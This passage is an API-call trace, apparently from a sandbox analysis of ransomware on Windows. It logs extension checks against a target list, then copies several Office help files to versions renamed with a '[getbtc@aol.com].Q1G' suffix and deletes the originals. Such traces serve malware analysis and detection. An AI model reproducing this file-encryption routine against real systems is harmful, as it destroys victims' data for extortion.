lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.299] lstrlenW (lpString=".pdf") returned 4 [0049.299] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString=".xls") returned 4 [0049.299] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString=".xlsx") returned 5 [0049.299] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.299] lstrlenW (lpString=".ppt") returned 4 [0049.299] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.299] lstrlenW (lpString=".zip") returned 4 [0049.299] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString=".rar") returned 4 [0049.299] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString=".bz2") returned 4 [0049.299] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString=".7z") returned 3 [0049.299] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.299] lstrlenW (lpString=".dbf") returned 4 [0049.299] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.299] lstrlenW (lpString=".1cd") returned 4 [0049.299] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.299] lstrlenW (lpString=".jpg") returned 4 [0049.300] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.300] lstrlenW (lpString=".doc") returned 4 [0049.300] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString=".docx") returned 5 [0049.300] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.300] lstrlenW (lpString=".pdf") returned 4 [0049.300] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString=".xls") returned 4 [0049.300] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString=".xlsx") returned 5 [0049.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.300] lstrlenW (lpString=".ppt") returned 4 [0049.300] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.300] lstrlenW (lpString=".zip") returned 4 [0049.300] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString=".rar") returned 4 [0049.300] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString=".bz2") returned 4 [0049.300] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString=".7z") returned 3 [0049.300] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.300] lstrlenW (lpString=".dbf") returned 4 [0049.300] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.300] lstrlenW (lpString=".1cd") returned 4 [0049.300] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0049.300] lstrlenW (lpString=".jpg") returned 4 [0049.300] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.301] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0049.301] lstrlenW (lpString="FM20.CHM") returned 8 [0049.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.302] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=334427) returned 1 [0049.302] CloseHandle (hObject=0x19c) returned 1 [0049.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0049.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.302] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.302] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.302] GetLastError () returned 0x0 [0049.302] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0049.310] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0049.316] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.316] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0049.316] SetEndOfFile (hFile=0x188) returned 1 [0049.316] CloseHandle (hObject=0x188) returned 1 [0049.317] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.317] SetEndOfFile (hFile=0x19c) returned 1 [0049.320] CloseHandle (hObject=0x19c) returned 1 [0049.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.320] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0049.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.320] lstrlenW (lpString=".doc") returned 4 [0049.320] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0049.320] lstrlenW (lpString=".docx") returned 5 [0049.320] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0049.320] lstrlenW (lpString=".pdf") returned 4 [0049.320] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0049.320] lstrlenW (lpString=".xls") returned 4 [0049.320] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0049.320] lstrlenW (lpString=".xlsx") returned 5 [0049.320] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0049.320] lstrlenW (lpString=".ppt") returned 4 [0049.320] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0049.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.320] lstrlenW (lpString=".zip") returned 4 [0049.320] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0049.320] lstrlenW (lpString=".rar") returned 4 [0049.320] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0049.320] lstrlenW (lpString=".bz2") returned 4 [0049.321] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0049.321] lstrlenW (lpString=".7z") returned 3 [0049.321] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0049.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.321] lstrlenW (lpString=".dbf") returned 4 [0049.321] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.321] lstrlenW (lpString=".1cd") returned 4 [0049.321] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0049.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.321] lstrlenW (lpString=".jpg") returned 4 [0049.321] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.321] lstrlenW (lpString=".doc") returned 4 [0049.321] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString=".docx") returned 5 [0049.321] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0049.321] lstrlenW (lpString=".pdf") returned 4 [0049.321] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString=".xls") returned 4 [0049.321] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString=".xlsx") returned 5 [0049.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0049.321] lstrlenW (lpString=".ppt") returned 4 [0049.321] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.321] lstrlenW (lpString=".zip") returned 4 [0049.321] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString=".rar") returned 4 [0049.321] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0049.321] lstrlenW (lpString=".bz2") returned 4 [0049.321] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0049.321] lstrlenW (lpString=".7z") returned 3 [0049.321] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0049.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.322] lstrlenW (lpString=".dbf") returned 4 [0049.322] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0049.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.322] lstrlenW (lpString=".1cd") returned 4 [0049.322] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0049.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0049.322] lstrlenW (lpString=".jpg") returned 4 [0049.322] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0049.322] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0049.322] lstrlenW (lpString="VBCN6.CHM") returned 9 [0049.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.322] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=109718) returned 1 [0049.322] CloseHandle (hObject=0x19c) returned 1 [0049.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0049.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.323] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.323] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.323] GetLastError () returned 0x0 [0049.323] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0049.573] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0049.575] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0049.575] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.575] SetEndOfFile (hFile=0x188) returned 1 [0050.032] CloseHandle (hObject=0x188) returned 1 [0050.032] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.032] SetEndOfFile (hFile=0x19c) returned 1 [0050.034] CloseHandle (hObject=0x19c) returned 1 [0050.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0050.034] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0050.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.636] lstrlenW (lpString=".doc") returned 4 [0050.636] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.636] lstrlenW (lpString=".docx") returned 5 [0050.636] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.636] lstrlenW (lpString=".pdf") returned 4 [0050.636] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.636] lstrlenW (lpString=".xls") returned 4 [0050.636] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.636] lstrlenW (lpString=".xlsx") returned 5 [0050.636] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.636] lstrlenW (lpString=".ppt") returned 4 [0050.636] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.636] lstrlenW (lpString=".zip") returned 4 [0050.636] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.636] lstrlenW (lpString=".rar") returned 4 [0050.636] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.636] lstrlenW (lpString=".bz2") returned 4 [0050.637] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.637] lstrlenW (lpString=".7z") returned 3 [0050.637] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.637] lstrlenW (lpString=".dbf") returned 4 [0050.637] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.637] lstrlenW (lpString=".1cd") returned 4 [0050.637] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.637] lstrlenW (lpString=".jpg") returned 4 [0050.637] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.637] lstrlenW (lpString=".doc") returned 4 [0050.637] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.637] lstrlenW (lpString=".docx") returned 5 [0050.637] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.637] lstrlenW (lpString=".pdf") returned 4 [0050.637] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.637] lstrlenW (lpString=".xls") returned 4 [0050.637] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.637] lstrlenW (lpString=".xlsx") returned 5 [0050.638] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.638] lstrlenW (lpString=".ppt") returned 4 [0050.638] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.638] lstrlenW (lpString=".zip") returned 4 [0050.638] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.638] lstrlenW (lpString=".rar") returned 4 [0050.638] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.638] lstrlenW (lpString=".bz2") returned 4 [0050.638] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.638] lstrlenW (lpString=".7z") returned 3 [0050.638] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.638] lstrlenW (lpString=".dbf") returned 4 [0050.638] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.638] lstrlenW (lpString=".1cd") returned 4 [0050.638] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.638] lstrlenW (lpString=".jpg") returned 4 [0050.638] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.638] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0050.638] lstrlenW (lpString="VBOB6.CHM") returned 9 [0050.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0050.964] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=123956) returned 1 [0050.964] CloseHandle (hObject=0x1ec) returned 1 [0050.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0050.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0050.965] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.965] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.965] GetLastError () returned 0x0 [0050.965] ReadFile (in: hFile=0x1ec, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x1e434, lpOverlapped=0x0) returned 1 [0051.193] WriteFile (in: hFile=0x21c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0051.195] ReadFile (in: hFile=0x1ec, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.196] WriteFile (in: hFile=0x21c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.196] SetEndOfFile (hFile=0x21c) returned 1 [0051.196] CloseHandle (hObject=0x21c) returned 1 [0051.196] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.196] SetEndOfFile (hFile=0x1ec) returned 1 [0051.197] CloseHandle (hObject=0x1ec) returned 1 [0051.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0051.198] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0051.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0051.198] lstrlenW (lpString=".doc") returned 4 [0051.198] lstrcmpiW (lpString1=".doc", 